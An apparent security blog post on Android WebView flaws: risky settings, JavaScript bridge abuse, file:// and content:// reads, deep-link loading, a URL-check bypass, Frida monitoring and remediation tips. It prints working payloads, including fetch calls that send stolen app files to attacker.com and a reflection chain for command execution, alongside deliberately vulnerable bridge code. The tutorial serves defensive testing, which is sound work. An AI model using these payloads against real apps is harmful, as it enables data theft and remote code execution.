← Back to writing
Mobile / Android

Android WebView Security

Dec 05, 2024
3 min read
lawbyte

WebView is a Chromium-based browser embedded in Android apps. When misconfigured, it allows JavaScript to call native Android methods, read local files, or access sensitive data. WebView bugs frequently escalate to full app compromise.

WebView Configuration Review

Key settings to check in source code (jadx):

// Dangerous settings
webView.getSettings().setJavaScriptEnabled(true); // JS execution
webView.getSettings().setAllowFileAccess(true); // file:// access
webView.getSettings().setAllowContentAccess(true); // content:// access
webView.getSettings().setAllowFileAccessFromFileURLs(true); // cross-origin file read
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // universal file read
webView.getSettings().setDatabaseEnabled(true); // WebSQL
webView.getSettings().setDomStorageEnabled(true); // localStorage

// Safe alternatives
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);

addJavascriptInterface — JS Bridge Exploitation

This is the most critical WebView vulnerability. It exposes Java methods to JavaScript:

// Vulnerable code
webView.addJavascriptInterface(new JSBridge(this), "Android");
class JSBridge {
@JavascriptInterface
public String getSecret() { return "hardcoded_api_key"; }

@JavascriptInterface
public void execCommand(String cmd) {
Runtime.getRuntime().exec(cmd); // RCE!
}

@JavascriptInterface
public String readFile(String path) {
// Read any file the app can access
return new String(Files.readAllBytes(Paths.get(path)));
}
}

Exploiting from XSS in WebView

If the WebView loads an untrusted URL and has a JS bridge:

// Call from XSS injected into the loaded page
var secret = Android.getSecret();
Android.execCommand("id > /data/data/com.target.app/files/out.txt");
var fileContent = Android.readFile("/data/data/com.target.app/shared_prefs/creds.xml");
fetch('https://attacker.com/steal?d=' + btoa(fileContent));

Pre-Android 4.2 — All methods exposed

Before API 17, ALL public methods of the JS bridge object are callable — not just those with @JavascriptInterface. This includes inherited methods like getClass(), leading to RCE:

// Pre-API 17 — get Runtime and execute command
var runtime = Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
var process = runtime.exec("id");
// Read process output...

Universal File Read via file://

If setAllowUniversalAccessFromFileURLs(true):

// From any page loaded in the WebView (even http://), read local files
fetch('file:///data/data/com.target.app/shared_prefs/user.xml')
.then(r => r.text())
.then(d => fetch('https://attacker.com/?d=' + btoa(d)));

If only setAllowFileAccessFromFileURLs(true):

// Only works when the WebView is already on a file:// URL
// Craft an HTML file and get the WebView to load it
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/hosts', false);
xhr.send();
console.log(xhr.responseText);

If the WebView URL comes from a deep link parameter:

// Vulnerable
String url = getIntent().getStringExtra("url");
webView.loadUrl(url);
# Exploit via ADB
adb shell am start -n com.target.app/.WebViewActivity \
--es url "file:///data/data/com.target.app/databases/app.db"

# Or load attacker-controlled page
adb shell am start -n com.target.app/.WebViewActivity \
--es url "https://attacker.com/exploit.html"

If the app loads an attacker page inside a WebView with a JS bridge, the attacker page can call all exposed bridge methods.


Content Provider → WebView UXSS

If the WebView can load content:// URIs pointing to a vulnerable content provider:

// Load internal data via content:// URI
fetch('content://com.target.app.provider/sensitive_data')
.then(r => r.text())
.then(d => exfil(d));

ShouldOverrideUrlLoading Bypass

// Vulnerable — only checks scheme
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.startsWith("target://")) {
handleDeepLink(url);
return true;
}
return false;
}

Bypass:

target://evil%0ajavascript:alert(1)

If WebView shares cookies with the rest of the app (default):

// From XSS in WebView
document.cookie // may include session cookies shared between WebView and native code

Check for CookieManager.getInstance().setAcceptThirdPartyCookies() — if enabled, third-party sites can read cookies.


Testing via Frida

Java.perform(function() {
// List all JS interfaces
var WebView = Java.use('android.webkit.WebView');
WebView.addJavascriptInterface.implementation = function(obj, name) {
console.log('[*] JS Interface registered: ' + name + ' → ' + obj.$className);
this.addJavascriptInterface(obj, name);
};

// Monitor URLs loaded
WebView.loadUrl.overload('java.lang.String').implementation = function(url) {
console.log('[*] WebView loading: ' + url);
this.loadUrl(url);
};

// Check settings
var WebSettings = Java.use('android.webkit.WebSettings');
WebSettings.setJavaScriptEnabled.implementation = function(enabled) {
console.log('[*] setJavaScriptEnabled: ' + enabled);
this.setJavaScriptEnabled(enabled);
};
});

Remediation

  • Don’t use addJavascriptInterface — use evaluateJavascript() for one-way communication, or postMessage() for two-way.
  • If you must use JS bridges, validate origin, apply @JavascriptInterface annotation, and minimize exposed methods.
  • Set setAllowFileAccessFromFileURLs(false) and setAllowUniversalAccessFromFileURLs(false).
  • Use shouldInterceptRequest to whitelist URLs the WebView can load.
  • Apply a strict Content Security Policy in loaded HTML.
  • Never load untrusted URLs in WebViews that have JS bridges.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.